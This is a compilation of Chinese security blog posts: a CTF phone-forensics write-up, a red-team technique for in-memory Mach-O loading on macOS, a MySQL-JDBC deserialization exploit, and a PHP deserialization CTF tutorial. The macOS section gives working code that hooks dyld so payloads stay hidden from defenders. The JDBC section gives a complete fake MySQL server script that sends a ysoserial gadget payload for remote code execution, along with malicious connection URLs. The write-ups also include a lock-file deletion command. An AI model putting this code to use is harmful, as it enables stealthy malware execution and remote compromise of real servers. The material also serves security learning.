解题过程: 修改文件后缀后,7z解压后,夜神模拟器导入vmdk 删除pin值 参考文章:https://www.cnblogs.com/Zev_Fung/p/14192545.html 删除/data/system/locksettings.db即可 rm /data/system/locksettings.db 重启进入,发现安装有QQ和Skred 打开Skred发现聊天记录 发现聊天记录传输了⽂件,根据skred的存储文件的位置,可以直接定位 /data/data/mobi.skred.app/files/conversations 使⽤adb pull来提取⽂件 adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0/50.zip D:\桌面\CTF\西湖论剑2023\jntm-update\dasctf 其他文件类似操作提取即可 解压压缩包发现存在解压密码,可能存在两张图片里,图片可能采取了隐写之类的隐藏信息的方式 使用stegslove打开45.png,在Alpha plane处发现信息,写脚本提取其二进制信息 from PIL import Image img = Image.open("45.png") for i in range(img.width):    for j in range(img.height):        pixl = img.getpixel((m,n))        if(pixl[3] == 255):            print(1,end='')        else:            print(0,end='') print("_______________") #0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001 进行编码转换一下 e01544a9333ef62a3aa27357eb52ea8a 得到解压密码,解压50.zip,获得一个flag文件,记事本打开为一串乱码,猜测可能是啥加密,信息应该在75.jpg上面 根据赛方放出的hint3:在线exif 试着查看一下75.jpg的exif信息,这里我使用的是https://exif.tuchong.com/ EXIF信息摘要 模式 曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0 曝光 光圈:4.0, 快门:1/250秒, ISO200 焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg 色彩 白平衡:Auto, 色彩空间:sRGB File FileType JPEG FileTypeExtension jpg MIMEType image/jpeg ExifByteOrder Little-endian (Intel, II) ImageWidth 3888 ImageHeight 2592 EncodingProcess Baseline DCT, Huffman coding BitsPerSample 8 ColorComponents 3 YCbCrSubSampling YCbCr4:2:2 (2 1) IFD0 方向 Horizontal (normal) X分辨率 72 Y分辨率 72 分辨率单位 inches YCbCr定位 Co-sited ExifIFD 曝光时间 1/250 光圈值 4.0 曝光程序 Aperture-priority AE ISO 200 Exif版本 0221 ComponentsConfiguration Y, Cb, Cr, - 快门速度值 1/250 光圈值 4.0 曝光补偿 0 测光模式 Multi-segment 闪光灯 Off, Did not fire 焦距 50.0 mm 用户注释 XOR DASCTF2022 SubSecTime 39 SubSecTime原始 39 SubSecTime数码化 39 Flashpix版本 0100 色彩空间 sRGB Exif图像宽度 3888 Exif图像高度 2592 焦平面X轴分辨率 4438.356164 焦平面Y轴分辨率 4445.969125 焦平面分辨率单位 inches CustomRendered Normal 曝光模式 Auto 白平衡 Auto 场景Capture类型 Standard InteropIFD Interop索引 R98 - DCF basic file (sRGB) Interop版本 0100 IFD1 压缩 JPEG (old-style) X分辨率 72 Y分辨率 72 分辨率单位 inches 缩略图偏移 8412 缩略图长度 19629 ThumbnailImage (Binary data 19629 bytes, use -b option to extract) Composite 光圈 4.0 图像尺寸 3888x2592 Megapixels 10.1 35mm等效因子 1.6 快门速度 1/250 (最小)模糊圈 0.019 mm 视角 25.1 deg 35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm) 超焦距 33.67 m 亮度值 11.0 可以看到用户注释为XOR DASCTF2022 对flag文件进行XOR 获得flag:DASCTF{fe089fecf73daa9dcba9bc385df54605}
IOS逆向--恢复Dyld的内存加载方式
之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。 @roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。 作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。 因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。 NS Link Module有何与众不同 由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。 该函数的签名为: NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... } 该函数的第一个参数是ofi,它是用NS Create Object File Image From Memory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。 通过查看代码发现,最新版本的NS Link Module,会将osi所指向的内存写入磁盘。 if ( ofi->memSource != nullptr ) { ... char        tempFileName[PATH_MAX]; const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR"); if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX); if ( tmpDir[strlen(tmpDir) - 1] != '/' ) strlcat(tempFileName, "/", PATH_MAX); } else strlcpy(tempFileName, "/tmp/", PATH_MAX); strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX); int fd = this->libSystemHelpers->mkstemp(tempFileName); if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0); } ... } 通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。 ... ofi->handle = dlopen_from(ofi->path, openMode, callerAddress); ... 因此,从本质上讲,这也就使得NS Link Module成为了dlopen的一个封装器。 那我们能否恢复dyld之前的内存加载特性呢? 我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢? 使用dyld进行hook 为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。 我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。 知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。 ldr x8, _value br x8 _value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location 在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。 void *getDyldBase(void) {    struct task_dyld_info dyld_info;    mach_vm_address_t image_infos;    struct dyld_all_image_infos *infos;        mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;    kern_return_t ret;        ret = task_info(mach_task_self_,                    TASK_DYLD_INFO,                   (task_info_t)&dyld_info,                    &count);        if (ret != KERN_SUCCESS) {        return NULL;   }        image_infos = dyld_info.all_image_info_addr;        infos = (struct dyld_all_image_infos *)image_infos;    return infos->dyldImageLoadAddress; } 只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。 bool searchAndPatch(char *base, char *signature, int length, void *target) {        char *patchAddr = NULL;    kern_return_t kret;        for(int i=0; i < 0x100000; i++) {        if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {            patchAddr = base + i;            break;       }   }   ... 当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。 kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); if (kret != KERN_SUCCESS) {    return FALSE; } 注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。 设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。 // Copy our path memcpy(patchAddr, patch, sizeof(patch)); // Set the br address for our hook call *(void **)((char*)patchAddr + 16) = target; // Return exec permission kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); if (kret != KERN_SUCCESS) { return FALSE; } 现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。 由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。 那么,既然如此,我们该如何处理我们的hook程序呢? API模拟调用 有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。 如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。 首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。 如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。 #define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-" const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {    char *alloc;    char filePath[PATH_MAX];    int newFlags;        memset(filePath, 0, sizeof(filePath));        // Check if the file is our "in-memory" file    if (fcntl(fd, F_GETPATH, filePath) != -1) {        if (strstr(filePath, FILENAME_SEARCH) > 0) {                        newFlags = MAP_PRIVATE | MAP_ANONYMOUS;            if (addr != 0) {                newFlags |= MAP_FIXED;           }                        alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);            memcpy(alloc, memoryLoadedFile+offset, len);            vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);            return alloc;       }   }        // If for another file, we pass through    return mmap(addr, len, prot, flags, fd, offset); } 接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。 ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset 最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。 由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。 int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures 有了以上这些,然后我们可以把这一切组合起来。 int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {    @autoreleasepool {        char *dyldBase;        int fd;        int size;        void (*function)(void);        NSObjectFileImage fileImage;                // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/        size = readFile("/tmp/loadme", &memoryLoadedFile);        dyldBase = getDyldBase();        searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);        searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);        searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);                // Set up blank content, same size as our Mach-O        char *fakeImage = (char *)malloc(size);        memset(fakeImage, 0x41, size);                // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image        fileImage = (NSObjectFileImage)malloc(1024);        *(void **)(((char*)fileImage+0x8)) = fakeImage;        *(void **)(((char*)fileImage+0x10)) = size;                void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);        void *symbol = NSLookupSymbolInModule(module, "runme");        function = NSAddressOfSymbol(symbol);        function();   } } 当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。 但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。 其他 所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。 事实证明,这个想法是正确的。比如: void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW); function = dlsym(a, "runme"); function(); 而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。 这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
MySQL-JDBC反序列化分析
0x01 前言 听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了。 0x02 JDBC 的基础 本来不太想写这点基础的,但想了想觉得还是要补一点。 JDBC 对数据库的操作一般有以下步骤: 1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。 2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。 3、建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。 4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。 5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。 例如创建一个数据库 // 步骤 1. 导入所需的软件包 import java.sql.*; public class JDBCExample {   // JDBC 驱动程序名称和数据库 URL   static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";     static final String DB_URL = "jdbc:mysql://localhost/";   // 数据库凭证   static final String USER = "username";   static final String PASS = "password";     public static void main(String[] args) {   Connection conn = null;   Statement stmt = null;   try{      // 步骤 2:注册 JDBC 驱动程序      Class.forName("com.mysql.jdbc.Driver");      // 步骤 3:建立连接      System.out.println("Connecting to database...");      conn = DriverManager.getConnection(DB_URL, USER, PASS);      // 步骤 4:执行查询      System.out.println("Creating database...");      stmt = conn.createStatement();            String sql = "CREATE DATABASE STUDENTS";      stmt.executeUpdate(sql);      System.out.println("Database created successfully...");   }catch(SQLException se){      // 处理 JDBC 错误      se.printStackTrace();   }catch(Exception e){      // 处理 Class.forName 的错误      e.printStackTrace();   }finally{      // 用于关闭资源      try{         if(stmt!=null)            stmt.close();     }catch(SQLException se2){           }      try{         if(conn!=null)            conn.close();     }catch(SQLException se){         se.printStackTrace();     }   }// 结束 try   System.out.println("Goodbye!"); }// 结束 main }// 结束 JDBCExample 这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用 正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了 0x03 漏洞分析 漏洞原理 如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。 具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。 可被利用的两条查询语句: SHOW SESSION STATUS SHOW COLLATION 链子 pom.xml <dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version>   </dependency>   <dependency>    <groupId>mysql</groupId>    <artifactId>mysql-connector-java</artifactId>    <version>8.0.13</version>   </dependency> CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法 JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中。 所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject() 根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析) ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。 最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap 44ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。 看一下 populateMapWithSessionStatusValues 方法的代码 先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。 漏洞复现 之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。 环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下 我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下 import java.sql.*;     public class Test {      public static void main(String[] args) throws Exception {          Class.forName("com.mysql.jdbc.Driver");          String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +                  "&autoDeserialize=true" +                  "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";          Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");     }   } 通过 tcp.port == 3306 && mysql 来过滤协议 我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。 首先是 greeting 数据包 这里发送 greeting 数据包之后需要发送 Login 请求,Login 请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包 Login 的请求包在发送完 greeting 包之后会自动发送,所以我们只需要发送一段 greeting 数据包,返回一段 Response OK 数据包即可,Response OK 包如下 继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS 响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来 如此,构造出最后的 fake MySQL 服务端 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn):    data = conn.recv(1024)    print("[*] Receiveing the package : {}".format(data))    return str(data).lower() def send_data(conn,data):    print("[*] Sending the package : {}".format(data))    conn.send(binascii.a2b_hex(data)) def get_payload_content():    #file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a    file= r'a'    if os.path.isfile(file):        with open(file, 'rb') as f:            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')        print("open successs")    else:        print("open false")        #calc        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e6    return payload_content # 主要逻辑 def run():    while 1:        conn, addr = sk.accept()        print("Connection come from {}:{}".format(addr[0],addr[1]))        # 1.先发送第一个 问候报文        send_data(conn,greeting_data)        while True:            # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok            receive_data(conn)            send_data(conn,response_ok_data)            #其他过程            data=receive_data(conn)            #查询一些配置信息,其中会发送自己的 版本号            if "session.auto_increment_increment" in data:                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e                send_data(conn,_payload)                data=receive_data(conn)            elif "show warnings" in data:                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a65                send_data(conn, _payload)                data = receive_data(conn)            if "set names" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "set character_set_results" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "show session status" in data:                mysql_data = '0100000102'                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'                # 为什么我加了EOF Packet 就无法正常运行呢??                #获取payload                payload_content=get_payload_content()                #计算payload长度                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)                payload_length_hex = payload_length[2:4] + payload_length[0:2]                #计算数据包长度                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex                mysql_data += str(payload_content)                mysql_data += '07000005fe000022000100'                send_data(conn, mysql_data)                data = receive_data(conn)            if "show warnings" in data:                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e2053544                send_data(conn, payload)            break if __name__ == '__main__':    HOST ='0.0.0.0'    PORT = 3309    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    sk.bind((HOST, PORT))    sk.listen(1)    print("start fake mysql server listening on {}:{}".format(HOST,PORT))    run() 在本地运行,并运行 JDBC 的连接代码 再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰 调试分析 在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析 往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap() ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。 在调用 getObject() 方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据 从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等,最后调用 readObject() 触发反序列化漏洞 不同 MySQL-JDBC-Driver 的 payload 8.x 如上述 Demo: "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +          "&autoDeserialize=true" +      "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; 6.x 属性名不同,queryInterceptors 换为 statementInterceptors jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor >=5.1.11 包名中没有cj jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 5.x <= 5.1.10 同上,但需要连接后执行查询。 5.1.29 - 5.1.40 jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true 5.1.28 - 5.1.19 jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true 0x04 小结 总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。
PHP反序列化新手入门学习总结
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。 php反序列化简单理解 首先我们需要理解什么是序列化,什么是反序列化? PHP序列化:serialize() 序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。 而PHP反序列化:unserialize() 反序列化是将字符串转换成变量或对象的过程 通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化 说这么多不如直接一点测试一下 php序列化的字母标识 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string N - NULL 测试一下 <?php   class TEST{   public $test1="11";   private $test2="22";   protected $test3="33";   public function test4()   {   echo $this->test1;   }   }   $a=new TEST();   echo serialize($a);   //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";} O代表类,然后后面4代表类名长度,接着双引号内是类名 然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推} protected 和private其实是有不可打印字符的,所以这里附上截图 从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写 有时候做题时为了防止传参中有啥意外,一般就会urlencode一下 什么是魔术方法? 做php反序列化的题总会遇到魔术方法 其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作 举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数 <?php   class A{   public $a="这里是__construct";   public function __construct()   {   echo $this->a;   }   public function __destruct()   {   echo $this->a="这里是__destruct";   }   }   $a=new A();   //输出这里是construct这里是destruct 后边的题中也会给一些测试魔术方法的例子 想买给出魔术方法触发的情况,这对解题有很大帮助 __construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 对不存在的方法或者不可访问的方法进行调用就自动调用 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发 光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。 简单的反序列化题 题目来自[SWPUCTF 2021 新生赛]ez_unserialize <?php   error_reporting(0);   show_source("cl45s.php");   class wllm{   public $admin;   public $passwd;   public function __construct(){   $this->admin ="user";   $this->passwd = "123456";   }   public function __destruct(){   if($this->admin === "admin" && $this->passwd === "ctf"){   include("flag.php");   echo $flag;   }else{   echo $this->admin;   echo $this->passwd;   echo "Just a bit more!";   }   }   }   $p = $_GET['p'];   unserialize($p);   ?> 在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag php反序列化是可以控制类方法的属性但不能改类方法的代码 于是我们直接更改就行, <?php   class wllm{   public $admin;   public $passwd;   public function __construct(){   $this->admin ="admin";   $this->passwd = "ctf";   }   }   $a=new wllm();   echo urlencode(serialize($a));   ?> 然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。 __wakeup绕过 这个其实是个CVE,CVE-2016-7124 影响版本php5<5.6.25,php7<7.010 简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 而魔术方法__wakeup执行unserialize()时,先会调用这个函数 写个代码本地测试一下 <?php   class A{   public $a;   public function __construct()   {   $this->a="触发__construct";   }   public function __wakeup()   {   $this->a="触发__wakeup";   }   public function __destruct()   {   echo $this->a;   }   }   $a=new A();   echo serialize($a); O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下 反序列化一下,输出触发__wakeup O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2 触发__construct,绕过了wakeup [极客大挑战 2019]PHP __wakeup()绕过 <?php   include 'class.php';   $select = $_GET['select'];   $res=unserialize(@$select); <?php   include 'flag.php';   error_reporting(0);   class Name{   private $username = 'nonono';   private $password = 'yesyes';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   function __wakeup(){   $this->username = 'guest';   }   function __destruct(){   if ($this->password != 100) {   echo "</br>NO!!!hacker!!!</br>";   echo "You name is: ";   echo $this->username;echo "</br>";   echo "You password is: ";   echo $this->password;echo "</br>";   die();   }   if ($this->username === 'admin') {   global $flag;   echo $flag;   }else{   echo "</br>hello my friend~~</br>sorry i can't give you the flag!";   die();   }   }   } 看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest; 这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看 //$a=new Name('admin','100');   //echo urlencode(serialize($a));   //echo serialize($a);   $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";   var_dump(unserialize(urldecode($b))); 那么修改对象个数为大于2 O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D 得到flag POC <?php     class Name{   private $username = 'admin';   private $password = '100';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   }   $a=new 